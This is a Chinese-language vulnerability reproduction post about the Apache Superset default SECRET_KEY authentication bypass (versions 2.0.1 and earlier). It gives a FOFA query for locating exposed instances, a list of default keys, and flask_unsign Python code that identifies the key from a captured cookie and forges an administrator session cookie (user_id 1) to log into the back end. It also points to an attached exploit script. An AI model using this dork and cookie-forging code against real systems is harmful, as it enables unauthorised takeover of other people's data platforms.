Superset是一个开源的数据探索和可视化平台。它由Apache软件基金会支持,旨在帮助用户通过直观的方式探索、分析和可视化复杂的数据集。Superset支持多种数据源,包括关系型数据库、NoSQL数据库和各种其他数据存储系统。Apache Superset 2.0.1 版本及之前版本存在安全漏洞。攻击者利用该漏洞验证和访问未经授权的资源。
1.漏洞级别
高危
2.漏洞搜索
fofa
title="Superset"
3.影响范围
Apache Superset 2.0.1 版本及之前版本
4.漏洞复现
4.1 版本检测
访问url/login/,点击右上角设置按钮,下拉即可查看版本。
低于2.0.1版本的服务都在漏洞覆盖范围。
4.2 获取有效cookie
由于漏洞的生成原因是由于使用了默认的加密key,所以我们需要先测试目标网站使用的是哪一个默认key,通常这个是由版本决定的。
#现有的默认key
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
superset是python项目,使用的是flask的加密模块,因此我们可以通过对默认key的逐个解密来测试网站使用了那个key。
抓包获取一个随机cookie:
我们可以使用flask模块进行解密测试:
from flask_unsign import session
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
session.decode(cookie)
for key in SECRET_KEYS:
cracked = session.verify(cookie, key)
if cracked:
break
if not cracked:
print("无法解密cookie")
return None
print("使用的解密key:"+key.decode())
其中cookie就是我们上文通过抓包获取的页面返回cookie,解密成功的话就会返回正确的key,接下来我们就可以用这个key生成一个新的cookie。
forged_cookie = session.sign({'_user_id': 1, 'user_id': 1}, key)
print("可用的登录cookie:"+forged_cookie)
这里我们默认生成一个userid=1,即管理员账户的cookie,你也可以修改userid的值来生成指定的用户cookie.
获取到cookie后,可以在浏览器中替换cookie,然后刷新页面,即可成功登录后台。
4.3脚本利用
使用脚本放附件上,有需要可以自行下载。
执行
python3 -u url
输出内容如下:
复现到这里就结束了,欢迎随时交流~